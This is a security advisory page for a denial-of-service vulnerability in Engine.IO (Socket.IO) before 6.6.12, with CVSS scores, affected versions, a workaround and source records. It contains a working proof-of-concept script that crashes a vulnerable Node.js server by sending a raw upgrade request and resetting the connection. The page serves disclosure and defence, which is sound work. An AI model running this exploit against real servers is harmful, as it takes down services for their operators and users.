CVE-2026-137200
JSON

7.5high

Socket.IO: Engine.IO DoS via unhandled upgrade error

Severity
7.5high CVSS:3.1 by GitHub_M
Exploit likelihood
0.92% (higher than 61% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-v775-f652-7rv6

Description

Socket.IO enables bidirectional and low-latency communication for every platform. Prior to Engine.IO 6.6.12, a remote unauthenticated client can send an upgrade request to a non-Engine.IO path and disconnect before the destruction timeout fires. The socket can emit an ECONNRESET error before Engine.IO installs its error listener, producing an uncaught exception that crashes the Node.js process. This issue is fixed in Engine.IO version 6.6.12.

Affected

Product or packageVersionsReported by
socketio socket.io< 6.6.12CVE List
engine.io (npm)before 6.6.12GitHub Advisory Database

All scores

GitHub_M7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
GitHub7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Classification

What each source says

CVE List

Socket.IO enables bidirectional and low-latency communication for every platform. Prior to Engine.IO 6.6.12, a remote unauthenticated client can send an upgrade request to a non-Engine.IO path and disconnect before the destruction timeout fires. The socket can emit an ECONNRESET error before Engine.IO installs its error listener, producing an uncaught exception that crashes the Node.js process. This issue is fixed in Engine.IO version 6.6.12.

GitHub Advisory Database
Summary

A Denial-of-Service (DoS) vulnerability exists in Engine.IO server due to unhandled socket errors when processing invalid upgrade requests. If a client sends an upgrade request to a non-Engine.IO path and disconnects abruptly (e.g., via ECONNRESET) before the destruction timeout fires, the socket emits an error event with no listener attached, causing the Node.js process to crash with an uncaught exception.

Proof of concept
import net from "node:net";
import http from "node:http";
import { Server } from "engine.io";

// Start a vulnerable Engine.IO server
const engine = new Server();
const server = http.createServer();
engine.attach(server);

server.listen(3000, () => {
  console.log("Vulnerable server listening on port 3000");

  // Attacker: Send an invalid upgrade request and disconnect abruptly
  const socket = net.connect(3000, () => {
    socket.write(
      "GET / HTTP/1.1\r\n" +
      "Connection: Upgrade\r\n" +
      "Upgrade: websocket\r\n" +
      "\r\n"
    );
    // Disconnect before the 1000ms timeout
    setTimeout(() => socket.resetAndDestroy(), 10);
  });
});

Expected Result: The server crashes with:

Unhandled 'error' event (ECONNRESET)
Patches

Fixed in:

Workarounds

In vulnerable versions, the issue can be mitigated by registering a listener for the error event:

import http from "node:http";
import { Server } from "engine.io";

const engine = new Server();
const server = http.createServer();

// WORKAROUND: Add a global "upgrade" handler to catch ALL sockets
server.on("upgrade", (req, socket, head) => {
  socket.on("error", (err) => {
    console.debug(`[Workaround] Upgrade error: ${err.message}`);
  });
});

engine.attach(server);

server.listen(3000);

Note: This is a temporary mitigation. Upgrading to engine.io@6.6.12 and above is the recommended fix.

Credits

The vulnerability was responsibly disclosed by YuSheng Chen.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-137200 changed 2026-11-30CVE Terms of Use
GitHub Advisory DatabaseGHSA-v775-f652-7rv6 changed 2026-12-01CC-BY-4.0
NVDCVE-2026-137200 changed 2026-11-30Public domain